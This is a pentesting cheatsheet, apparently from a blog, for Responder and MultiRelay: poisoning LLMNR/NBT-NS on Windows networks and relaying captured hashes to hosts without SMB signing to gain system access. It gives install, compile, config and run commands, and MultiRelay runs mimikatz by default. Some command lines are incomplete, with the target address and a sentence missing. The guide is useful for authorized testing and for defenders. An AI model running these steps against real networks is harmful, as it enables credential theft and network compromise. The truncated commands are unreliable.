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Responder / MultiRelay Pentesting Cheatsheet

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Responder is one of the most common tools used during an internal penetration test as a first attempt to get a foothold into a Windows network. The attack has also gained popularity among ransomware enterprises looking to compromise as many accounts as possible on Windows networks.

Attack Overview

The first attack relies on two prerequisites:

  1. LLMNR or NBTNS being enabled.
  2. A target host with SMB Signing disabled.

The first condition allows us to spoof LLMNR responses to intercept traffic intended for other hosts. When LLMNR is enabled, a Windows server will request host resolution through LLMNR before DNS. Since LLMNR is inherently vulnerable to response spoofing, we can take advantage of this to carry out MITM attacks on the network.

The second condition, allows us to pass a captured hash to other target systems. We must exploit an SMB configuration weakness, where cryptographic signing is not enforced during authentication. We can use this to perform “pass the hash” attacks, without ever knowing a password, and gain system level access.

Install Responder

We will use a fork of the original Responder which includes MultiRelay:

$ git clone https://github.com/lgandx/Responder.git

On Ubuntu, we will install the following components beforehand, as well as compile some artifacts used by Multirelay:

$ sudo apt-get -y install python3-pip gcc-mingw-w64-x86-64 python-crypto screen
$ sudo pip3 install pycryptodomex
$ cd Responder/tools/
$ x86_64-w64-mingw32-gcc ./MultiRelay/bin/Runas.c -o ./MultiRelay/bin/Runas.exe -municode -lwtsapi32 -luserenv
$ x86_64-w64-mingw32-gcc ./MultiRelay/bin/Syssvc.c -o ./MultiRelay/bin/Syssvc.exe -municode

Edit Responder Config

We will open Responder.conf and make the following edits:

SMB = Off
HTTP = Off

We need to turn off HTTP and SMB since we will use Multirelay, and Multirelay will listen on those ports instead:

Responder Config

Running Responder

Here we need to grab the interface with ifconfig and run the following:

$ cd Responder
$ sudo python3 ./Responder.py -I eno1 -rv

On an active Windows network with LLMNR enables, you should see the following: Responder Poisoning

Running MultiRelay

In another window, ideally using screen, we can run MultiRelay and wait for a connection.

We only need a target host with SMB signing disabled. From previous scan results, we selected Note that MultiRelay will query the SMB service to confirm signing is disabled:

~/Responder/tools$ sudo python3 MultiRelay.py -t -u ALL -d


Other Responder Tips

Keep in mind the following:

  1. Activity can vary wildly depending on the network. Inactive networks can take days or weeks before a connection can be hijacked.
  2. Logs are created in Responder/logs where you can look past sessions captured.
  3. MultiRelay runs mimikatz by default and may be easily flagged by antivirus products.
  4. The attacks described here should only be performed when explicitly authorized to do so. Please consider using qualified pentest services when in doubt.
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